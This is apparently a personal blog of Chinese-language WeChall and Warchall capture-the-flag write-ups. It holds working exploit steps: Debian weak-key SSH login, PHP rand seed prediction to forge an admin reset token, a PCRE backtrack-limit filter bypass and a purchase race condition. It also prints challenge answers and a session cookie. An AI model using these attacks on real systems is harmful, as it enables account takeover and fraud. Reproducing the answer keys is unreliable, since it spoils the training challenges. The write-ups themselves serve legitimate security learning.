Hello Navi

Tech, Security & Personal Notes

Challenge

WeChall 会请求你服务器的 /WechallUsername/[0-9]+_mul_[0-9]+.html 路径,你的服务器需返回两数乘积。

表单只提交 port,IP 由 WeChall 自动检测(从请求的 TCP 源 IP)。

Solution

需要一台满足两个条件的机器: 1. 公网 IP 可被 WeChall 访问(入站) 2. 能出站到 WeChall(提交表单)

方案:临时 Vultr VPS

vultr-cli 在 Frankfurt 区域开一台 Debian 12 VPS:

1
2
3
4
5
6
# 安装 CLI
sudo pacman -S vultr-cli
export VULTR_API_KEY='your-api-key'

# 开机器
vultr-cli instance create --region fra --plan vc2-1c-1gb --os 2136 --host wechall-ctf

拿到 IP 和 root 密码后:

1
2
3
4
5
6
7
8
9
10
11
# 部署 rewrite server
scp rw.py root@IP:/tmp/
ssh root@IP 'nohup python3 /tmp/rw.py 8889 > /tmp/rw.log 2>&1 &'

# 开放防火墙
ssh root@IP 'ufw allow 8889/tcp'

# 提交表单
curl -b 'WC=YOUR_COOKIE' \
-d 'port=8889&go=I+have+set+it+up.+Please+check+my+server.' \
'https://www.wechall.net/en/challenge/training/www/rewrite/index.php'

Rewrite Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import http.server, re, sys

class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
m = re.match(r'^/WechallUsername/([0-9]+)_mul_([0-9]+)\.html$', self.path)
if m:
r = str(int(m.group(1)) * int(m.group(2)))
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(r.encode())
else:
self.send_response(200)
self.end_headers()
self.wfile.write(b'ready')

httpd = http.server.HTTPServer(('0.0.0.0', int(sys.argv[1])), H)
httpd.serve_forever()

注意事项

  • 注意开放 UFW/iptables 端口(Vultr Debian 默认 INPUT DROP)
  • Vultr 防火墙组也要加规则,或者不用 Vultr 防火墙直接用 UFW
  • 用完删实例避免继续计费:vultr-cli instance delete <ID>
  • 最低成本 ~$0.004/hr(vc2-1c-1gb 约 $5/月,按小时计费)

Challenge

Java applet 实现汉诺塔,10 个盘子从左柱移到右柱,限 60 秒。无法在现代浏览器直接运行(Java applet 已被弃用),需要逆向 jar 文件离线算出答案。

Solution

Step 0: 获取 JAR

JAR 文件在挑战页面的 <applet> 标签中通过 archive="hanoi2.jar" 引用,与页面同目录:

1
$ wget https://www.wechall.net/challenge/Z/hanoi/hanoi2.jar

Step 1: 逆向分析

1
2
$ jar xf hanoi2.jar
$ javap -c -p Tower.class Tower\$TowerPanel.class

反编译关键发现:

  • 每次合法拖拽后,mouseUp() 构造 last_tower + new_tower(如 "a" + "b" = "ab"),调用 Tower.query(move)
  • query()/challenge/Z/hanoi/?query=<move> 发 HTTP 请求,读取服务器返回的 2 字符响应,追加到 solution 字符串
  • 所有 10 盘移到右柱(win=true)时,对 solution 做 SHA-512,导航到 ?solution=<hash>
  • 60 秒超时(javax.swing.Timer),移动超过 1023 步自动重置

Step 2: 获取 6 种 query 的返回值

服务器对每种合法移动返回固定 2 字符令牌:

Move Response
ab we
ac ch
ba lr
bc al
ca ul
cb z!

这些值可通过实际运行 applet 抓包或直接 curl 逐个获取:

1
2
$ curl -s 'https://www.wechall.net/challenge/Z/hanoi/?query=ab'
we

Step 3: 生成最优序列

10 盘汉诺塔最优解需要 2^10 − 1 = 1023 步。经典的递归解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib

MOVE_RESP = {
'ab': 'we', 'ac': 'ch', 'ba': 'lr',
'bc': 'al', 'ca': 'ul', 'cb': 'z!',
}
TOWER = ['a', 'b', 'c']

def hanoi_moves(n, src, dst, aux):
if n == 0: return
yield from hanoi_moves(n - 1, src, aux, dst)
yield (src, dst)
yield from hanoi_moves(n - 1, aux, dst, src)

moves = list(hanoi_moves(10, 0, 2, 1))
solution = ''.join(
MOVE_RESP[TOWER[s] + TOWER[d]] for s, d in moves
)
sha = hashlib.sha512(solution.encode()).hexdigest()
print(sha)

输出的 SHA-512 即为答案。

Step 4: 提交

1
$ curl "https://www.wechall.net/challenge/Z/hanoi/index.php?solution=<sha512>"

服务器返回 "Correct!" 即通过。

注意: 该 hash 是确定性的(固定响应表 + 最优路径 = 固定 result),所以可以直接用提交的方式跳过 applet。如服务器已有提交记录,会提示 "Your answer is correct but you have already solved this challenge."

feb3a1f6e5e259f381f42a4e72aceaea204403fab7eec9a2d3d0bcff076a647be88f6f6caeeb1b6295aabba9807f1a2260b466f9f0512498fb50300703eb2552

Challenge

Warchall level8:Z 睡着了,SSH key 暴露在 /home/level/08_sshz/backups/。目标是找到对应私钥,以 level08 登录。

Solution

这题利用 Debian OpenSSL 弱密钥漏洞(2008 年 CVE-2008-0166)。Debian 的 OpenSSL 包因注释掉 md_rand.c 中两行 MD_Update(&m,buf,j),导致 PRNG 仅以进程 PID 作为随机种子,可能的密钥只有 32768 种。

Step 1: 获取 public key

1
2
3
# 从 Warchall 服务器读取公钥
$ cat /home/level/08_sshz/backups/authorized_keys.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLbM20VLy+Bf7fjHk...

Step 2: 计算 MD5 fingerprint

1
2
$ ssh-keygen -l -E md5 -f authorized_keys.backup
2048 MD5:2b:cd:07:a7:01:e9:4a:04:74:d7:7e:e4:d6:d0:f8:06 ...

Step 3: 在 Debian weak key 集中匹配

下载已知弱密钥集合。原 ANSSI-FR 仓库已被删除,可使用 g0tmi1k 维护的镜像:

1
2
3
4
5
6
7
8
9
10
# 克隆镜像(如已有关键集合可跳过)
$ git clone https://github.com/g0tmi1k/debian-ssh
$ cd debian-ssh

# 解压 RSA 2048 位 SSH 密钥
$ tar -xjf common_keys/debian_ssh_rsa_2048_x86.tar.bz2

# 去掉冒号搜索指纹文件名
$ find rsa/ -name '*2bcd07a701e94a0474d77ee4d6d0f806*'
rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669

指纹对应 PID 23669 的 RSA 2048 位密钥。

说明: 该 key set 的文件名格式为 <fingerprint_hex>-<PID>,因此直接 find 匹配指纹(去除冒号)即可定位,无需逐 key 计算。

Step 4: SSH 登录

1
2
$ ssh -i rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669 \
level08@warchall.net -p 19198

注意:用户是 level08,不是 z;使用 -i 指定密钥文件。端口 19198 是 Warchall SSH 服务端口。

PrivateKeysAreGold

Challenge

题目要求将一个 170+ 位的大整数分解质因数,限时 6 秒。

Solution

直接分解这么大的数是不现实的。但题目有一个关键缺陷:提交错误答案后,服务器会在错误信息中泄露正确的答案,并且挑战数字保持不变。

所以解法分三步:

  1. 请求一个新数字
  2. 提交任意错误答案(如 solution=1)→ 服务器返回 Correct would have been "xxx"
  3. 用泄露的正确答案重新提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests, re

cookies = {'WC': 'YOUR_WECHALL_COOKIE'}
base = 'https://www.wechall.net/en/challenge/impossible/index.php'

# Step 1: request new number
r = requests.get(f'{base}?request=new_number', cookies=cookies)
csrf = re.search(r'name="gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: submit wrong answer to leak the correct one
r2 = requests.post(base, data={
'solution': '1',
'solve': 'Submit',
'gwf3_csrf': csrf
}, cookies=cookies)
correct = re.search(r'Correct would have been "(\d+)"', r2.text).group(1)

# Step 3: submit the correct answer
r3 = requests.post(base, data={
'solution': correct,
'solve': 'Submit',
'gwf3_csrf': csrf
}, cookies=cookies)

print("Solved!" if 'correct' in r3.text.lower() else "Failed")

Challenge

题名 "Pimitive Encryption" 是 "Pi" + "Primitive" 的谐音。一个用 One-Time Pad XOR 加密的文件,提示 key 是 "logical" 的。

加密文件 116921 字节,URL 上直接下载 pimitive.zip

Solution

Step 1: 确认 key = π 的十进制字符串

已知加密文件应为 ZIP(magic PK\x03\x04)。前 4 字节 XOR:

1
2
3
CIPHER:  63 DF 65 CF
ZIP: 50 4B 03 04
KEY: 33 2E 31 34 → "3.14"

key 是圆周率 π 的十进制展开字符串 "3.1415926535...",一次性 XOR 整个文件(不循环重复)。

Step 2: 生成 116921 位 π

方法 A(推荐):用 pi.delivery API 分块拉取

1
2
3
4
5
6
7
8
9
import requests

digits = "3."
start = 1 # after decimal point
while len(digits) < 116921:
n = min(1000, 116921 - len(digits))
r = requests.get(f"https://api.pi.delivery/v1/pi?start={start}&numberOfDigits={n}&radix=10")
digits += r.json()["content"]
start += n

方法 B:Chudnovsky 算法 + Python decimal 高精度

1
2
3
4
5
from decimal import Decimal, getcontext

getcontext().prec = 120000
# Chudnovsky series: π = 426880√10005 / Σ(k=0..∞) (6k)!(13591409+545140134k)/(3k)!(k!)^3(-640320)^(3k)
# 迭代约 8300 次收敛到 120K 位

Step 3: XOR 解密

1
2
3
key = pi_str.encode()[:len(enc)]
dec = bytes(e ^ k for e, k in zip(enc, key))
# → 输出为有效 ZIP 文件,含 netforce33.bmp

Step 4: 解压提取 BMP

1280×384 的 BMP 图片,内容为 "OneTimePad" 字样下方一行字。Tesseract OCR 或肉眼辨认:

1
Actually the password is: Botterbloom
Botterbloom

Challenge

题目不是考常见服务端口,而是要求 WeChall 服务器看到你的客户端源端口为 42

题面里的 "remote-port" 指的是服务器视角下的 remote port,也就是你的本地源端口。

Solution

用能绑定本地源端口的 HTTP 客户端访问挑战页:

1
2
3
$ curl --local-port 42 \
-b 'WC=YOUR_WECHALL_COOKIE' \
'http://www.wechall.net/en/challenge/training/net/ports/index.php'

Linux 默认低于 1024 的端口是 privileged port。普通用户绑定 42 会失败:

1
curl: (45) bind failed with errno 13: Permission denied

可选方案:

  • sudo curl --local-port 42(需要 sudo 权限)
  • 给 curl 加 CAP_NET_BIND_SERVICEsetcap cap_net_bind_service=+ep $(which curl)
  • 从一台有 root 权限且直连互联网的服务器发起请求

本题没有固定密码——连接源端口正确即自动通过。WeChall 服务器检测 TCP 连接的 source port,无需提交任何答案表单。

Challenge

Find the sentence hidden in me or I'll have to destroy you.

一张 256x256 的纯红色图像 op.png,只有 R 通道有数据(G=B=0)。

Solution

图像的 R 通道值范围 0-253,共 242 个唯一值。直接读取像素值无法得到可读文本(多数值 > 127,超出 ASCII 可打印范围)。

关键思路:素数筛选。只保留 R 通道值为素数的像素,其余设为白色。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from PIL import Image
from math import sqrt

def is_prime(n):
if n < 2: return False
if n == 2: return True
if n % 2 == 0: return False
for i in range(3, int(sqrt(n)) + 1, 2):
if n % i == 0: return False
return True

img = Image.open('op.png')
w, h = img.size
result = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
for x in range(w):
r, g, b = img.getpixel((x, y))
if is_prime(r):
result.putpixel((x, y), (0, 0, 0))
else:
result.putpixel((x, y), (255, 255, 255))

result.save('simply_red_primes.png')

需要人工读取图像,得到文本。

PrimalOffset

Challenge

提交 admin@wechall.net 的 password reset token。Token 绑定 session,源码公开。

Solution

漏洞分析

源码(?highlight=christmas)暴露了 token 生成逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 每次请求(GET 或 POST)都重新播种
srand(time() + rand(0, 100));
$csrf = ttr_random(32); // 页面中 <input name="csrf">

// POST reset 时额外生成 token
$token = ttr_random(16); // 即要预测的目标

function ttr_random($len, $alpha='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
{
$alphalen = strlen($alpha) - 1;
$key = '';
for ($i = 0; $i < $len; $i++) {
$key .= $alpha[rand(0, $alphalen)];
}
return $key;
}

种子 = time() + rand(0, 100),仅 101 种可能。CSRF token(32 字符)是种子后的首次 32 次 rand() 输出,直接暴露在页面中。

页面中的两个 token

挑战页面包含两个 hidden input:

  • csrf(32 字符)— 位于 password reset form 内

    1
    2
    3
    <tr><td colspan="3">
    <input type="hidden" name="csrf" value="5faruVeXQSpw78BPrkYpJqPqmmJfKXdI" />
    </td>
    右键 → 查看页面源代码,搜索 name="csrf" 即可找到。

  • gwf3_csrf(8 字符)— 位于 solution form 内,用于提交答案

    1
    <input type="hidden" name="gwf3_csrf" value="eIt0IMws" />

破解流程

关键:用来破解读取的不是 GET 页面的 CSRF,而是 POST 请求返回页面的 CSRF。因为每次请求 PHP 都重新 srand(time()+rand(0,100)),token 和页面 CSRF 在同一个种子下连续生成(32 + 16 次 rand 调用)。必须先 POST reset 触发 token 生成,再用响应页面中的新 CSRF 推导同一种子下的 token。

Step 1 — GET 页面,提取 CSRF 和 gwf3_csrf

1
2
3
4
curl -sk --max-time 15 -D /tmp/ttr_headers.txt \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
'https://www.wechall.net/en/challenge/time_to_reset/' \
| grep -oP 'name="csrf"\s*value="\K[^"]+'

输出:

1
lGYstQosLkv6kYxtH6Ftvj6GAjEEMklq

用同样的方式提取 gwf3_csrf

1
grep -oP 'name="gwf3_csrf"\s*value="\K[^"]+'

Step 2 — POST password reset,触发 token 生成

1
2
3
4
5
6
curl -sk --max-time 15 -D /tmp/ttr_headers2.txt \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode 'email=admin@wechall.net' \
--data-urlencode 'reset=Request a Password reset' \
--data-urlencode 'csrf=lGYstQosLkv6kYxtH6Ftvj6GAjEEMklq' \
'https://www.wechall.net/en/challenge/time_to_reset/'

响应中会包含 msg_mail_sent 提示,以及一个全新csrf(同一请求中生成的):

1
<input type="hidden" name="csrf" value="7MkocZHPcc6rkDkGVaSRVltE1ONJH5zM" />

Step 3 — 从响应头获取服务器时间

1
2
grep -i '^date:' /tmp/ttr_headers2.txt
# Date: Sat, 13 Jun 2026 12:13:31 GMT

转换为 epoch:1781352811

Step 4 — PHP 离线暴力搜索种子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$csrf = "7MkocZHPcc6rkDkGVaSRVltE1ONJH5zM"; // 从 POST 响应提取
$server_time = 1781352811; // 从 Date header 提取
$alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$alphalen = strlen($alpha) - 1;

for ($t = $server_time - 3; $t <= $server_time + 3; $t++) {
for ($offset = 0; $offset <= 100; $offset++) {
$seed = $t + $offset;
srand($seed);

$generated = '';
for ($i = 0; $i < 32; $i++) {
$generated .= $alpha[rand(0, $alphalen)];
}

if ($generated === $csrf) {
// 找到种子!预测 token(接下来 16 次 rand)
$token = '';
for ($i = 0; $i < 16; $i++) {
$token .= $alpha[rand(0, $alphalen)];
}
echo "SEED=$seed\nTOKEN=$token\n";
exit(0);
}
}
}
echo "NOT_FOUND\n";

执行:

1
2
3
php brute_force.php
# SEED=1781352853
# TOKEN=XfmLddQ4n1NuBpUD

搜索空间仅 101(偏移量)× 7(±3 秒)= 707 种组合,毫秒级出结果。

Step 5 — 提交预测的 token

1
2
3
4
5
6
curl -sk --max-time 15 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode 'answer=XfmLddQ4n1NuBpUD' \
--data-urlencode 'solve=Submit' \
--data-urlencode 'gwf3_csrf=eIt0IMws' \
'https://www.wechall.net/en/challenge/time_to_reset/'
XfmLddQ4n1NuBpUD

Challenge

绕过两个矛盾的检查:

1
2
3
4
5
6
7
8
// 检查1:不允许包含 badmethod 或 evilfunction
if (1 === preg_match('#^.*((?:badmethod)|(?:evilfunction)).*$#s', $text)) {
return 'Evil text detected';
}

// 检查2:必须同时包含 badmethod 和 evilfunction
return strpos($text, 'badmethod') !== false
&& strpos($text, 'evilfunction') !== false;

来源:sourcecode.php

Solution

利用 PHP 的 pcre.backtrack_limit(默认值:PHP 5.3 为 100K,PHP 7+ 为 1M)。当回溯次数超限时,preg_match() 返回 FALSE(不是 0 也不是 1),严格比较 1 === FALSE 结果为 false,从而绕过拦截。而 strpos() 是线性字符扫描,不受回溯影响。

Payload

关键字放开头,尾部填充大量字符耗尽回溯预算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 提取 CSRF token
CSRF=$(curl -s --max-time 10 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
'https://www.wechall.net/en/challenge/noother/preg_evasion/index.php' \
| grep -oP 'gwf3_csrf"\s*value="\K[^"]+')

# 构造 payload:关键字 + 600K padding
text="badmethodevilfunction$(python3 -c "print('.' * 600000)")"

# 提交
curl -s --max-time 30 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode "text=$text" \
--data-urlencode "hackit=Your button" \
--data-urlencode "gwf3_csrf=$CSRF" \
'https://www.wechall.net/en/challenge/noother/preg_evasion/index.php'

原理

正则 ^.*((?:badmethod)|(?:evilfunction)).*$ 中:

  • ^.* 贪婪匹配整个字符串(badmethodevilfunction + 600K 个 .
  • 交替 (badmethod)|(evilfunction) 在行尾匹配失败
  • PCRE 逐字符回溯,每次在当前位置尝试两个分支
  • 总回溯次数 ≈ 600K × 2 = 1.2M,远超默认回溯上限

若服务端 pcre.backtrack_limit 更高,等比例增大 padding 即可。

CSRF token 位于页面 form 中:

1
<input type="hidden" name="gwf3_csrf" value="7zluZ476" />

Challenge

Noother 写了一个卖 .xyz domain 的 PHP 小站。目标是找到漏洞,不花钱完成购买。

Solution

purchaseDomain()reduceMoney() 之间有约 6 秒间隙(三次 nooth_message() 各 sleep 2 秒)。PHP 默认 ignore_user_abort = false,客户端断开连接后,PHP 在 sleep 间隙检测到中止并终止脚本。利用这个窗口可以让 purchaseDomain() 提交但 reduceMoney() 被跳过。

利用步骤:

  1. 加载余额:?load=balance(+$10,+1 funding)
  2. 等 timeout 结束(45 秒 cooldown)
  3. 发送购买请求,curl 设置 --max-time 12:请求约 12s 后被切断,此时 purchaseDomain() 已执行(domains+1,money 未扣)但 reduceMoney() 未执行
  4. 再等一次 timeout 结束,发一次正常购买(不切断)
  5. 此时 fundings=1,domains=2,条件 fundings < domains 触发,自动解决

关键源码逻辑:

1
2
3
4
noothtable::purchaseDomain($sid);   // domains=domains+1 WHERE money>=price
// ~6s sleep via nooth_message()
noothtable::reduceMoney($sid, $price); // money=money-price
// 随后检查 fundings < domains

注意第二步必须是正常购买——如果第二次也切断,domains 只+1 但 fundings=1,条件仍然 fundings >= domains。只有 purchaseDomain 成功两次而 reduceMoney 只执行一次,才能制造差值。

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE